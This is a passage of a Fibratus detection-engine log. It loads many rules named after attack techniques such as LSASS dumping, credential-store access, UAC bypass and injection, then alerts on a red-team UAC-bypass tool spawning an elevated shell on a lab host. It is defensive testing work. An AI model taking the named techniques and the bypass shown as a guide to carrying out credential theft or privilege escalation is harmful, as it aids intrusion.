+time=2025-11-22T20:44:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-22T20:44:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-22T20:44:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-22T20:44:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-22T20:44:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-22T20:44:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-22T20:44:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-22T20:44:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-22T20:44:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-22T20:44:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-22T20:44:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-22T20:44:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-22T20:44:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-22T20:44:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-22T20:44:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-22T20:44:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-22T20:44:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-22T20:44:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-22T20:44:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-22T20:44:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-22T20:44:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-22T20:44:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-22T20:44:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-22T20:44:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-22T20:44:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-22T20:44:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-22T20:44:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-22T20:44:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-22T20:44:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-22T20:44:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-22T20:44:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-22T20:44:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-22T20:44:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-22T20:44:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-22T20:44:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-22T20:44:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-22T20:44:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-22T20:44:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-22T20:44:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-22T20:44:33+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-22T20:44:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-22T20:44:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-22T20:44:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-22T20:44:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-22T20:44:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-22T20:44:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-22T20:44:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-22T20:44:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-22T20:44:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-22T20:44:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-22T20:44:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-22T20:44:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-22T20:44:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-22T20:44:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-22T20:44:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-22T20:44:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-22T20:44:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-22T20:44:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-22T20:44:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-22T20:44:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-22T20:44:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-22T20:44:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-22T20:44:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-22T20:44:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-22T20:44:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-22T20:44:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-22T20:44:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-22T20:44:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-22T20:44:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-22T20:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-22T20:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-22T20:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-22T20:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-22T20:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-22T20:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-22T20:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-22T20:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-22T20:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-22T20:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-22T20:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-22T20:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-22T20:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-22T20:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-22T20:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-22T20:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-22T20:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-22T20:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-22T20:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-22T20:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-22T20:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-22T20:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-22T20:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-22T20:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-22T20:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-22T20:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-22T20:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-22T20:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-22T20:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-22T20:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-22T20:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-22T20:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-22T20:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-22T20:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-22T20:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-22T20:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-22T20:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-22T20:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-22T20:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-22T20:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-22T20:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-22T20:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-22T20:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-22T20:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-22T20:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-22T20:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-22T20:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-22T20:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-22T20:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-22T20:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-22T20:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-22T20:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-22T20:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-22T20:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-22T20:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-22T20:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-22T20:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-22T20:44:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-22T20:44:34+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-22T20:44:34+01:00 level=info msg=bootstrapping with pid 19256. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-22T20:44:34+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] systray=>[ quiet-mode=>false enabled=>false sound=>true] mail=>[ enabled=>false to=>[] use-template=>true content-type=>text/html port=>25] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-pe=>false serialize-envs=>true serialize-images=>false serialize-handles=>false serialize-threads=>false] + eventsource .................... [ enable-audit-api=>true min-buffers=>16 blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-registry=>true enable-vamap=>true enable-handle=>false enable-net=>true enable-fileio=>true enable-mem=>false enable-dns=>false max-buffers=>36 enable-image=>true stack-enrichment=>true buffer-size=>512 enable-threadpool=>false flush-interval=>1s enable-thread=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 max-backups=>15 max-size=>100 log-stdout=>true level=>info formatter=>text] + output ......................... [ amqp=>[ exchange=>fibratus vhost=>/ routing-key=>fibratus url=>amqp://localhost:5672 durable=>false enabled=>false delivery-mode=>transient passive=>false timeout=>5s tls-insecure-skip-verify=>false exchange-type=>topic] http=>[ serializer=>json method=>POST enabled=>false timeout=>5s enable-gzip=>false tls-insecure-skip-verify=>false endpoints=>[]] elasticsearch=>[ enabled=>false healthcheck-interval=>10s healthcheck-timeout=>5s bulk-workers=>1 template-name=>fibratus timeout=>5s sniff=>false flush-period=>1s gzip-compression=>false healthcheck=>true servers=>[http://127.0.0.1:9200] trace-log=>false index-name=>fibratus] eventlog=>[ level=>info enabled=>false] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} +]] + pe ............................. [ read-symbols=>false enabled=>false read-resources=>false excluded-images=>[svchost.exe] read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] fastscan=>true excluded-files=>[] scan-timeout=>10s skip-mmaps=>false excluded-procs=>[] skip-allocs=>false enabled=>false skip-files=>false skip-registry=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-22T20:44:34+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-22T20:44:36+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-22T20:44:49+01:00 level=error msg=unable to parse PE exports for module [C:\Fibratus\redteam\byeintegrity5-uac\system32\npmproxy.dll]: open C:\Fibratus\redteam\byeintegrity5-uac\system32\npmproxy.dll: The system cannot find the path specified. source=symbolize/symbolizer.go:246 +time=2025-11-22T20:44:49+01:00 level=info msg=sending alert: [UAC bypass via CDSSync scheduled task hijack]. Text: Event(s): + Seq: 3283586 + Pid: 5984 + Tid: 6320 + Type: CreateFile + CPU: 2 + Name: CreateFile + Category: file + Description: Creates or opens a file or I/O device + Host: archrabbit + Timestamp: 2025-11-22 20:44:39.1256236 +0100 CET + Params: attributes➜ NORMAL, create_disposition➜ CREATE, create_options➜ SYNCHRONOUS_IO_NONALERT|NON_DIRECTORY_FILE, file_object➜ ffff998c35d8e540, file_path➜ C:\Fibratus\redteam\byeintegrity5-uac\system32\npmproxy.dll, irp➜ ffff998c3cabd708, share_mask➜ , status➜ Success, tid➜ 6320, type➜ File + Metadata: rule.seq.link: 3275927180018979651, rule.name: UAC bypass via CDSSync scheduled task hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 5984 + Ppid: 8868 + Name: byeintegrity5-uac.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\byeintegrity5-uac\x64\Release\byeintegrity5-uac.exe" + Parent cmdline: powershell.exe -NoExit -Command "&{Import-Module """C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\Microsoft.VisualStudio.DevShell.dll"""; Enter-VsDevShell d384327e -SkipAutomaticLocation -DevCmdArguments """-arch=x64 -host_arch=x64"""}" + Exe: C:\Fibratus\redteam\byeintegrity5-uac\x64\Release\byeintegrity5-uac.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\byeintegrity5-uac\x64\Release\byeintegrity5-uac.exe"] + Session ID: 1 + Envs: map[] + + + + Seq: 3284847 + Pid: 15880 + Tid: 7032 + Type: CreateProcess + CPU: 0 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-22 20:44:39.207862 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 43dc5b000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffff998c3d17c080, name➜ cmd.exe, pid➜ 19408, ppid➜ 15880, real_ppid➜ 15880, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-22 20:44:39.2077888 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.seq.link: 3275927180018979651, rule.name: UAC bypass via CDSSync scheduled task hijack + + Pid: 15880 + Ppid: 828 + Name: taskhostw.exe + Parent name: svchost.exe + Cmdline: taskhostw.exe $(Arg0) + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k netsvcs -p -s Schedule + Exe: C:\WINDOWS\System32\taskhostw.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: [taskhostw.exe $(Arg0)] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-22T20:45:33+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-22T20:45:33+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-22T20:45:33+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-22T20:47:46+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-22T20:47:46+01:00 level=info msg=bootstrapping with pid 13484. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-22T20:47:46+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] mail=>[ use-template=>true enabled=>false to=>[] content-type=>text/html port=>25] slack=>[ enabled=>false] 